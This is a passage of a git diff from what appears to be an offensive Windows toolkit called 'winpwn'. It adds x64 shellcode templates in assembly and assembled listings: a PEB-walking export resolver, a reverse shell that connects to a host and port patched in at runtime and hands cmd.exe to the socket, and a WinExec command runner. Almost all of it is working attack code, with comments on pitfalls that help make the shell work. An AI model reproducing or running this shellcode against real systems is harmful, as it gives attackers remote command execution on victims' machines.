00000166 72794100 <1> + 40 + 41 0000016A 7573657233322E646C- name_user32: db "user32.dll", 0 + 41 00000173 6C00 + 42 00000175 4D657373616765426F- name_messageboxa: db "MessageBoxA", 0 + 42 0000017E 784100 + 43 + 44 00000181 90 align 8 + 45 text_buf: + 46 00000188 00 times 256 db 0 + 47 + 48 align 8 + 49 caption_buf: + 50 00000288 00 times 64 db 0 diff --git a/shellcode/asm/resolver.inc b/shellcode/asm/resolver.inc new file mode 100644 index 0000000..0a73272 --- /dev/null +++ b/shellcode/asm/resolver.inc @@ -0,0 +1,165 @@ +; resolver.inc — shared x64 position-independent building blocks for winpwn +; shellcraft templates: find kernel32's base via the PEB (no hardcoded +; addresses) and resolve any export by name (no hashing, just a linear +; name-table scan — simple, auditable, and plenty fast for a handful of +; one-shot resolutions). +; +; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, +; args in RCX/RDX, result in RAX. Both routines preserve every +; non-volatile register they touch, so callers can keep values live in +; r12-r15 across calls to either of these. + +; get_kernel32_base() -> RAX = kernel32.dll base address +; +; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running +; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this +; fixed load order is the same trick essentially every public Windows x64 +; shellcode relies on. +get_kernel32_base: + mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) + mov rax, [rax+0x18] ; PEB->Ldr + mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks + mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) + mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) + mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) + ret + +; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) +; -> RAX = absolute address of the export, or 0 if not found. +; +; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each +; entry against the target string, then follows AddressOfNameOrdinals and +; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical +; DataDirectory[0] (export table) offset for PE32+. +find_export: + push r12 + push r13 + push r14 + push r15 + push rsi + push rdi + push rbx + + mov r12, rcx ; r12 = module base (preserved for the whole routine) + mov r13, rdx ; r13 = target name pointer (preserved) + + mov eax, [r12+0x3C] ; e_lfanew + add rax, r12 ; rax = NT header VA + mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) + add rax, r12 + mov r14, rax ; r14 = export directory VA + + mov ebx, [r14+0x18] ; ebx = NumberOfNames + mov r9d, [r14+0x20] ; AddressOfNames RVA + add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) + mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA + add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) + mov r11d, [r14+0x1C] ; AddressOfFunctions RVA + add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) + + xor r15, r15 ; r15 = loop index i + +.loop: + cmp r15, rbx + jge .notfound + + mov eax, [r9 + r15*4] ; nameRVA for entry i + add rax, r12 + mov rsi, rax ; rsi = candidate name VA + mov rdi, r13 ; rdi = target name VA (reset every attempt) + +.cmp_loop: + mov al, [rsi] + mov cl, [rdi] + cmp al, cl + jne .next + test al, al + je .found ; both hit NUL with every byte equal -> match + inc rsi + inc rdi + jmp .cmp_loop + +.next: + inc r15 + jmp .loop + +.found: + movzx rax, word [r10 + r15*2] ; ordinal index for entry i + mov eax, [r11 + rax*4] ; function RVA + add rax, r12 ; absolute address + jmp .done + +.notfound: + xor rax, rax + +.done: + pop rbx + pop rdi + pop rsi + pop r15 + pop r14 + pop r13 + pop r12 + ret + +; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr) +; -> RAX = absolute address of the export, or 0 on any failure. +; +; find_export alone only works if the target module is *already* loaded +; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll +; in a plain console process. When RDX is 0 this is exactly find_export +; (the function is assumed already loaded at the module base in RCX). +; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32 +; (itself just another find_export call) and called to load-or-fetch the +; named module, then find_export resolves R8 inside *that* module's base. +resolve_export: + push r12 ; kernel32 base + push r13 ; dll name ptr (or 0) + push r14 ; func name ptr + push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start + mov rbp, rsp + and rsp, ~0xF + + mov r12, rcx + mov r13, rdx + mov r14, r8 + + test r13, r13 + jnz .need_loadlibrary + + mov rcx, r12 + mov rdx, r14 + call find_export + jmp .resolve_done + +.need_loadlibrary: + mov rcx, r12 + lea rdx, [rel name_loadlibrarya] + call find_export + test rax, rax + jz .resolve_fail + + mov rcx, r13 ; LoadLibraryA(lpLibFileName) + sub rsp, 0x20 ; shadow space required before any WinAPI call + call rax + add rsp, 0x20 + test rax, rax + jz .resolve_fail + + mov rcx, rax ; the newly (or already) loaded module's base + mov rdx, r14 + call find_export + jmp .resolve_done + +.resolve_fail: + xor rax, rax + +.resolve_done: + mov rsp, rbp + pop rbp + pop r14 + pop r13 + pop r12 + ret + +name_loadlibrarya: db "LoadLibraryA", 0 diff --git a/shellcode/asm/reverse_shell_x64.asm b/shellcode/asm/reverse_shell_x64.asm new file mode 100644 index 0000000..54e11bb --- /dev/null +++ b/shellcode/asm/reverse_shell_x64.asm @@ -0,0 +1,157 @@ +; reverse_shell_x64.asm — position-independent x64 shellcode: connect back +; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio +; redirected to the socket. The classic Windows reverse-shell primitive. +; +; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the +; assembled blob; winpwn patches sin_port/sin_addr at runtime (see +; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as +; constants since they never change. +; +; Real gotcha, worth recording here since it's easy to miss and the +; failure mode (cmd.exe launches but stdin/stdout look disconnected, no +; error anywhere) gives no hint why: socket() handles are NOT inheritable +; by default on modern Windows (a hardening change from the days when +; every handle was inheritable by default). bInheritHandles=TRUE on +; CreateProcessA alone is not enough -- SetHandleInformation must mark the +; specific socket handle as inheritable first, or the child simply doesn't +; get a usable copy of it no matter what STARTUPINFOA says. +BITS 64 +default rel + +start: + push rbp + push r12 + push r13 + mov rbp, rsp + and rsp, ~0xF + + call get_kernel32_base + mov r12, rax ; r12 = kernel32 base, kept for the whole routine + + ; WSAStartup(0x0202, &wsadata_buf) + mov rcx, r12 + lea rdx, [rel name_ws2_32] + lea r8, [rel name_wsastartup] + call resolve_export + mov rcx, 0x0202 + lea rdx, [rel wsadata_buf] + sub rsp, 0x20 + call rax + add rsp, 0x20 + + ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) + mov rcx, r12 + lea rdx, [rel name_ws2_32] + lea r8, [rel name_socket] + call resolve_export + mov rcx, 2 + mov rdx, 1 + mov r8, 6 + sub rsp, 0x20 + call rax + add rsp, 0x20 + mov r13, rax + + ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT) + ; -- see the file header: without this, the child below can't actually + ; use sockfd no matter what STARTUPINFOA/bInheritHandles say. + mov rcx, r12 + xor rdx, rdx + lea r8, [rel name_sethandleinformation] + call resolve_export + mov rcx, r13 + mov rdx, 1 + mov r8, 1 + sub rsp, 0x20 + call rax + add rsp, 0x20 + + ; connect(sockfd, &sockaddr_buf, 16) + mov rcx, r12 + lea rdx, [rel name_ws2_32] + lea r8, [rel name_connect] + call resolve_export + mov rcx, r13 + lea rdx, [rel sockaddr_buf] + mov r8, 16 + sub rsp, 0x20 + call rax + add rsp, 0x20 + + ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid + ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is + ; CreateProcessA's own shadow space + its 6 stack-passed arguments. + sub rsp, 0xE0 + + mov qword [rsp+0x50], 0 + mov qword [rsp+0x58], 0 + mov qword [rsp+0x60], 0 + mov qword [rsp+0x68], 0 + mov qword [rsp+0x70], 0 + mov qword [rsp+0x78], 0 + mov qword [rsp+0x80], 0 + mov qword [rsp+0x88], 0 + mov qword [rsp+0x90], 0 + mov qword [rsp+0x98], 0 + mov qword [rsp+0xA0], 0 + mov qword [rsp+0xA8], 0 + mov qword [rsp+0xB0], 0 + + mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb + mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60) + mov [rsp+0xA0], r13 ; .hStdInput (offset 80) + mov [rsp+0xA8], r13 ; .hStdOutput (offset 88) + mov [rsp+0xB0], r13 ; .hStdError (offset 96) + + ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) + mov rcx, r12 + xor rdx, rdx + lea r8, [rel name_createprocessa] + call resolve_export + mov r14, rax + + xor rcx, rcx ; lpApplicationName = NULL + lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe" + xor r8, r8 ; lpProcessAttributes = NULL + xor r9, r9 ; lpThreadAttributes = NULL + mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE + mov qword [rsp+0x28], 0 ; dwCreationFlags = 0 + mov qword [rsp+0x30], 0 ; lpEnvironment = NULL + mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL + lea rax, [rsp+0x50] + mov qword [rsp+0x40], rax ; lpStartupInfo = &si + lea rax, [rsp+0xB8] + mov qword [rsp+0x48], rax ; lpProcessInformation = &pi + call r14 + + add rsp, 0xE0 + mov rsp, rbp + pop r13 + pop r12 + pop rbp + ret + +%include "resolver.inc" + +name_ws2_32: db "ws2_32.dll", 0 +name_wsastartup: db "WSAStartup", 0 +name_socket: db "socket", 0 +name_connect: db "connect", 0 +name_sethandleinformation: db "SetHandleInformation", 0 +name_createprocessa: db "CreateProcessA", 0 + +; lpCommandLine must point at writable memory (CreateProcessA may modify +; it in place) -- fine here since shellcode bytes live in a writable page +; wherever they landed, same as every other template's embedded buffers. +cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0 + +align 8 +wsadata_buf: + times 512 db 0 + +align 8 +sockaddr_buf: + dw 2 ; sin_family = AF_INET + dw 0 ; sin_port, patched at runtime (network byte order) + dd 0 ; sin_addr, patched at runtime (network byte order) + dq 0 ; sin_zero[8] diff --git a/shellcode/asm/reverse_shell_x64.bin b/shellcode/asm/reverse_shell_x64.bin new file mode 100644 index 0000000..8a54c05 Binary files /dev/null and b/shellcode/asm/reverse_shell_x64.bin differ diff --git a/shellcode/asm/reverse_shell_x64.lst b/shellcode/asm/reverse_shell_x64.lst new file mode 100644 index 0000000..5ca32a2 --- /dev/null +++ b/shellcode/asm/reverse_shell_x64.lst @@ -0,0 +1,337 @@ + 1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back + 2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio + 3 ; redirected to the socket. The classic Windows reverse-shell primitive. + 4 ; + 5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the + 6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see + 7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as + 8 ; constants since they never change. + 9 ; + 10 ; Real gotcha, worth recording here since it's easy to miss and the + 11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no + 12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable + 13 ; by default on modern Windows (a hardening change from the days when + 14 ; every handle was inheritable by default). bInheritHandles=TRUE on + 15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the + 16 ; specific socket handle as inheritable first, or the child simply doesn't + 17 ; get a usable copy of it no matter what STARTUPINFOA says. + 18 BITS 64 + 19 default rel + 20 + 21 start: + 22 00000000 55 push rbp + 23 00000001 4154 push r12 + 24 00000003 4155 push r13 + 25 00000005 4889E5 mov rbp, rsp + 26 00000008 4883E4F0 and rsp, ~0xF + 27 + 28 0000000C E8EB010000 call get_kernel32_base + 29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine + 30 + 31 ; WSAStartup(0x0202, &wsadata_buf) + 32 00000014 4C89E1 mov rcx, r12 + 33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32] + 34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup] + 35 00000025 E877020000 call resolve_export + 36 0000002A B902020000 mov rcx, 0x0202 + 37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf] + 38 00000036 4883EC20 sub rsp, 0x20 + 39 0000003A FFD0 call rax + 40 0000003C 4883C420 add rsp, 0x20 + 41 + 42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) + 43 00000040 4C89E1 mov rcx, r12 + 44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32] + 45 0000004A 4C8D05DD020000 lea r8, [rel name_socket] + 46 00000051 E84B020000 call resolve_export + 47 00000056 B902000000 mov rcx, 2 + 48 0000005B BA01000000 mov rdx, 1 + 49 00000060 41B806000000 mov r8, 6 + 50 00000066 4883EC20 sub rsp, 0x20 + 51 0000006A FFD0 call rax + 52 0000006C 4883C420 add rsp, 0x20 + 53 00000070 4989C5 mov r13, rax + 54 + 55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT) + 56 ; -- see the file header: without this, the child below can't actually + 57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say. + 58 00000073 4C89E1 mov rcx, r12 + 59 00000076 4831D2 xor rdx, rdx + 60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation] + 61 00000080 E81C020000 call resolve_export + 62 00000085 4C89E9 mov rcx, r13 + 63 00000088 BA01000000 mov rdx, 1 + 64 0000008D 41B801000000 mov r8, 1 + 65 00000093 4883EC20 sub rsp, 0x20 + 66 00000097 FFD0 call rax + 67 00000099 4883C420 add rsp, 0x20 + 68 + 69 ; connect(sockfd, &sockaddr_buf, 16) + 70 0000009D 4C89E1 mov rcx, r12 + 71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32] + 72 000000A7 4C8D0587020000 lea r8, [rel name_connect] + 73 000000AE E8EE010000 call resolve_export + 74 000000B3 4C89E9 mov rcx, r13 + 75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf] + 76 000000BD 41B810000000 mov r8, 16 + 77 000000C3 4883EC20 sub rsp, 0x20 + 78 000000C7 FFD0 call rax + 79 000000C9 4883C420 add rsp, 0x20 + 80 + 81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid + 82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is + 83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments. + 84 000000CD 4881ECE0000000 sub rsp, 0xE0 + 85 + 86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0 + 87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0 + 88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0 + 89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0 + 90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0 + 91 00000101 48C744247800000000 mov qword [rsp+0x78], 0 + 92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0 + 92 00000113 000000 + 93 00000116 48C784248800000000- mov qword [rsp+0x88], 0 + 93 0000011F 000000 + 94 00000122 48C784249000000000- mov qword [rsp+0x90], 0 + 94 0000012B 000000 + 95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0 + 95 00000137 000000 + 96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0 + 96 00000143 000000 + 97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0 + 97 0000014F 000000 + 98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0 + 98 0000015B 000000 + 99 + 100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb + 101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60) + 101 0000016F 0000 + 102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80) + 103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88) + 104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96) + 105 + 106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) + 107 00000189 4C89E1 mov rcx, r12 + 108 0000018C 4831D2 xor rdx, rdx + 109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa] + 110 00000196 E806010000 call resolve_export + 111 0000019B 4989C6 mov r14, rax + 112 + 113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL + 114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe" + 115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL + 116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL + 117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE + 118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0 + 119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL + 120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL + 121 000001D2 488D442450 lea rax, [rsp+0x50] + 122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si + 123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8] + 124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi + 125 000001E9 41FFD6 call r14 + 126 + 127 000001EC 4881C4E0000000 add rsp, 0xE0 + 128 000001F3 4889EC mov rsp, rbp + 129 000001F6 415D pop r13 + 130 000001F8 415C pop r12 + 131 000001FA 5D pop rbp + 132 000001FB C3 ret + 133 + 134 %include "resolver.inc" + 1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn + 2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded + 3 <1> ; addresses) and resolve any export by name (no hashing, just a linear + 4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of + 5 <1> ; one-shot resolutions). + 6 <1> ; + 7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, + 8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every + 9 <1> ; non-volatile register they touch, so callers can keep values live in + 10 <1> ; r12-r15 across calls to either of these. + 11 <1> + 12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address + 13 <1> ; + 14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running + 15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this + 16 <1> ; fixed load order is the same trick essentially every public Windows x64 + 17 <1> ; shellcode relies on. + 18 <1> get_kernel32_base: + 19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) + 20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr + 21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks + 22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) + 23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) + 24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) + 25 00000217 C3 <1> ret + 26 <1> + 27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) + 28 <1> ; -> RAX = absolute address of the export, or 0 if not found. + 29 <1> ; + 30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each + 31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and + 32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical + 33 <1> ; DataDirectory[0] (export table) offset for PE32+. + 34 <1> find_export: + 35 00000218 4154 <1> push r12 + 36 0000021A 4155 <1> push r13 + 37 0000021C 4156 <1> push r14 + 38 0000021E 4157 <1> push r15 + 39 00000220 56 <1> push rsi + 40 00000221 57 <1> push rdi + 41 00000222 53 <1> push rbx + 42 <1> + 43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine) + 44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved) + 45 <1> + 46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew + 47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA + 48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) + 49 00000237 4C01E0 <1> add rax, r12 + 50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA + 51 <1> + 52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames + 53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA + 54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) + 55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA + 56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) + 57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA + 58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) + 59 <1> + 60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i + 61 <1> + 62 <1> .loop: + 63 00000259 4939DF <1> cmp r15, rbx + 64 0000025C 7D34 <1> jge .notfound + 65 <1> + 66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i + 67 00000262 4C01E0 <1> add rax, r12 + 68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA + 69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt) + 70 <1> + 71 <1> .cmp_loop: + 72 0000026B 8A06 <1> mov al, [rsi] + 73 0000026D 8A0F <1> mov cl, [rdi] + 74 0000026F 38C8 <1> cmp al, cl + 75 00000271 750C <1> jne .next + 76 00000273 84C0 <1> test al, al + 77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match + 78 00000277 48FFC6 <1> inc rsi + 79 0000027A 48FFC7 <1> inc rdi + 80 0000027D EBEC <1> jmp .cmp_loop + 81 <1> + 82 <1> .next: + 83 0000027F 49FFC7 <1> inc r15 + 84 00000282 EBD5 <1> jmp .loop + 85 <1> + 86 <1> .found: + 87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i + 88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA + 89 0000028D 4C01E0 <1> add rax, r12 ; absolute address + 90 00000290 EB03 <1> jmp .done + 91 <1> + 92 <1> .notfound: + 93 00000292 4831C0 <1> xor rax, rax + 94 <1> + 95 <1> .done: + 96 00000295 5B <1> pop rbx + 97 00000296 5F <1> pop rdi + 98 00000297 5E <1> pop rsi + 99 00000298 415F <1> pop r15 + 100 0000029A 415E <1> pop r14 + 101 0000029C 415D <1> pop r13 + 102 0000029E 415C <1> pop r12 + 103 000002A0 C3 <1> ret + 104 <1> + 105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr) + 106 <1> ; -> RAX = absolute address of the export, or 0 on any failure. + 107 <1> ; + 108 <1> ; find_export alone only works if the target module is *already* loaded + 109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll + 110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export + 111 <1> ; (the function is assumed already loaded at the module base in RCX). + 112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32 + 113 <1> ; (itself just another find_export call) and called to load-or-fetch the + 114 <1> ; named module, then find_export resolves R8 inside *that* module's base. + 115 <1> resolve_export: + 116 000002A1 4154 <1> push r12 ; kernel32 base + 117 000002A3 4155 <1> push r13 ; dll name ptr (or 0) + 118 000002A5 4156 <1> push r14 ; func name ptr + 119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start + 120 000002A8 4889E5 <1> mov rbp, rsp + 121 000002AB 4883E4F0 <1> and rsp, ~0xF + 122 <1> + 123 000002AF 4989CC <1> mov r12, rcx + 124 000002B2 4989D5 <1> mov r13, rdx + 125 000002B5 4D89C6 <1> mov r14, r8 + 126 <1> + 127 000002B8 4D85ED <1> test r13, r13 + 128 000002BB 750D <1> jnz .need_loadlibrary + 129 <1> + 130 000002BD 4C89E1 <1> mov rcx, r12 + 131 000002C0 4C89F2 <1> mov rdx, r14 + 132 000002C3 E850FFFFFF <1> call find_export + 133 000002C8 EB36 <1> jmp .resolve_done + 134 <1> + 135 <1> .need_loadlibrary: + 136 000002CA 4C89E1 <1> mov rcx, r12 + 137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya] + 138 000002D4 E83FFFFFFF <1> call find_export + 139 000002D9 4885C0 <1> test rax, rax + 140 000002DC 741F <1> jz .resolve_fail + 141 <1> + 142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName) + 143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call + 144 000002E5 FFD0 <1> call rax + 145 000002E7 4883C420 <1> add rsp, 0x20 + 146 000002EB 4885C0 <1> test rax, rax + 147 000002EE 740D <1> jz .resolve_fail + 148 <1> + 149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base + 150 000002F3 4C89F2 <1> mov rdx, r14 + 151 000002F6 E81DFFFFFF <1> call find_export + 152 000002FB EB03 <1> jmp .resolve_done + 153 <1> + 154 <1> .resolve_fail: + 155 000002FD 4831C0 <1> xor rax, rax + 156 <1> + 157 <1> .resolve_done: + 158 00000300 4889EC <1> mov rsp, rbp + 159 00000303 5D <1> pop rbp + 160 00000304 415E <1> pop r14 + 161 00000306 415D <1> pop r13 + 162 00000308 415C <1> pop r12 + 163 0000030A C3 <1> ret + 164 <1> + 165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0 + 165 00000314 72794100 <1> + 135 + 136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0 + 136 00000321 6C00 + 137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0 + 137 0000032C 7000 + 138 0000032E 736F636B657400 name_socket: db "socket", 0 + 139 00000335 636F6E6E65637400 name_connect: db "connect", 0 + 140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0 + 140 00000346 496E666F726D617469- + 140 0000034F 6F6E00 + 141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0 + 141 0000035B 636573734100 + 142 + 143 ; lpCommandLine must point at writable memory (CreateProcessA may modify + 144 ; it in place) -- fine here since shellcode bytes live in a writable page + 145 ; wherever they landed, same as every other template's embedded buffers. + 146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0 + 146 0000036A 000000000000 + 147 + 148 align 8 + 149 wsadata_buf: + 150 00000370 00 times 512 db 0 + 151 + 152 align 8 + 153 sockaddr_buf: + 154 00000570 0200 dw 2 ; sin_family = AF_INET + 155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order) + 156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order) + 157 00000578 0000000000000000 dq 0 ; sin_zero[8] diff --git a/shellcode/asm/winexec_x64.asm b/shellcode/asm/winexec_x64.asm new file mode 100644 index 0000000..3aa9ed2 --- /dev/null +++ b/shellcode/asm/winexec_x64.asm @@ -0,0 +1,52 @@ +; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's +; base via the PEB (no leak/hardcoded address needed), find WinExec by +; name, and run a command. Returns normally (ret) so the host thread keeps +; running afterward. +; +; cmd_buf is a 260-byte placeholder at the very end of the assembled blob; +; winpwn patches it at runtime with the actual NUL-terminated command +; (see shellcraft.go). +BITS 64 +default rel + +start: + ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64 + ; ABI) and stash the post-push rsp in rbp so we can force 16-byte + ; alignment below and still land exactly back on the real return + ; address afterward. A bare `and rsp, ~0xF` with no matching restore + ; before `ret` pops whatever garbage is sitting at the shifted address + ; instead of the caller's actual return address — that's the bug this + ; replaced (verified by crash: rip ended up pointing into the Go + ; runtime's heap, i.e. exactly the kind of stale stack value this leaves + ; behind). + push rbp + push r12 + mov rbp, rsp + and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state + + call get_kernel32_base + mov r12, rax ; r12 = kernel32 base + + mov rcx, r12 + lea rdx, [rel name_winexec] + call find_export + ; rax = WinExec address + + lea rcx, [rel cmd_buf] + mov edx, 5 ; SW_SHOW + sub rsp, 0x20 ; shadow space required before any WinAPI call + call rax + add rsp, 0x20 + + mov rsp, rbp + pop r12 + pop rbp + ret + +%include "resolver.inc" + +name_winexec: db "WinExec", 0 + +align 8 +cmd_buf: + times 260 db 0 diff --git a/shellcode/asm/winexec_x64.lst b/shellcode/asm/winexec_x64.lst new file mode 100644 index 0000000..d60c3c9 --- /dev/null +++ b/shellcode/asm/winexec_x64.lst @@ -0,0 +1,155 @@ + 1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's + 2 ; base via the PEB 